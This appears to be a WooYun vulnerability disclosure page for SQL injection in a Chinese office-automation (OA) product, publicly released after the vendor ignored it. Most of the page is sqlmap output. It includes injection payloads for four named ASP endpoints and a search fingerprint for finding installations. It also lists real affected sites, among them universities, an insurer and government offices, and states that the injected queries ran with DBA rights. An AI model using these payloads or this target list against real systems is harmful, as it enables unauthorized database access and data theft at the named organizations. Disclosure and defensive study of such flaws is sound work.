当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-087572

漏洞标题:某oa无条件sql注入,DBA(4枚)

相关厂商:北京联杰海天科技有限公司

漏洞作者: 路人甲

提交时间:2014-12-18 17:38

修复时间:2015-03-18 17:40

公开时间:2015-03-18 17:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-18: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-03-18: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

dd

详细说明:

fofa.so: id="FTongJi"
部分影响范围:http://121.30.226.44/login.asp 大同煤矿集团雁崖煤业公司
http://124.65.69.14 路恒安市政工程
http://vos.tjufe.edu.cn 天津财经大学
http://211.68.250.42天津农学院
http://www.fzsyxx.com/ 抚州市实验学校
http://oa.ccib.com.cn/login.asp 长城保险
http://www.cnshuiyu.com/login.asp 上海水域环境发展有限公司
http://oa.tjfsu.edu.cn/login.asp 天津外国语大学
http://old.mdjagri.gov.cn/oa/login.asp 海天网络
http://60.171.34.204:8086/ 淮南市城市管理行政执法局
http://116.228.82.237/login.asp 德林义肢
http://dfoa.shhjwl.com/login.asp 上海东飞公司
http://www.cnshuiyu.com/login.asp 上海水域环境发展有限公司
http://211.68.192.21/login.asp 天津音乐学院
http://121.30.226.44/login.asp 大同煤矿集团
http://180.166.7.94/login.asp 上海市市容环境卫生汽车运输处
http://cqkyoa.oicp.net/login.asp 科云建筑有限公司
缺陷文件:
/include/user/mulbumentree.asp?DepartList=xxx&save=true
/include/user/muldeparttree.asp?DepartList=xxx&save=true
/include/user/departtreetotal.asp?OAID=1&save=true
/include/user/bdtreemx.asp?OAID=1&save=true
param:DepartList,OAID
Place: GET
Parameter: OAID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: OAID=1 AND 7286=7286&save=true
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: OAID=1 AND 3545=CONVERT(INT,(SELECT CHAR(113)+CHAR(120)+CHAR(99)+CHAR(109)+CHAR(113)+(SELECT (CASE WHEN (3545=3545) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(105)+CHAR(119)+CHAR(105)+CHAR(113)))&save=true
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: OAID=1; WAITFOR DELAY '0:0:5'--&save=true
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: OAID=1 WAITFOR DELAY '0:0:5'--&save=true
---
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
Place: GET
Parameter: DepartList
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: DepartList=12 AND 4781=4781&save=true
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: DepartList=12 AND 5376=CONVERT(INT,(SELECT CHAR(113)+CHAR(116)+CHAR(120)+CHAR(99)+CHAR(113)+(SELECT (CASE WHEN (5376=5376) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(115)+CHAR(112)+CHAR(111)+CHAR(113)))&save=true
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: DepartList=12 WAITFOR DELAY '0:0:5'--&save=true
---
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
available databases [7]:
[*] HaiTianOASample
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
---
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
current user is DBA: True

漏洞证明:

param:DepartList,OAID
Place: GET
Parameter: OAID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: OAID=1 AND 7286=7286&save=true
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: OAID=1 AND 3545=CONVERT(INT,(SELECT CHAR(113)+CHAR(120)+CHAR(99)+CHAR(109)+CHAR(113)+(SELECT (CASE WHEN (3545=3545) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(105)+CHAR(119)+CHAR(105)+CHAR(113)))&save=true
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: OAID=1; WAITFOR DELAY '0:0:5'--&save=true
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: OAID=1 WAITFOR DELAY '0:0:5'--&save=true
---
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
Place: GET
Parameter: DepartList
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: DepartList=12 AND 4781=4781&save=true
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: DepartList=12 AND 5376=CONVERT(INT,(SELECT CHAR(113)+CHAR(116)+CHAR(120)+CHAR(99)+CHAR(113)+(SELECT (CASE WHEN (5376=5376) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(115)+CHAR(112)+CHAR(111)+CHAR(113)))&save=true
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: DepartList=12 WAITFOR DELAY '0:0:5'--&save=true
---
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
available databases [7]:
[*] HaiTianOASample
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
---
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
current user is DBA: True

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝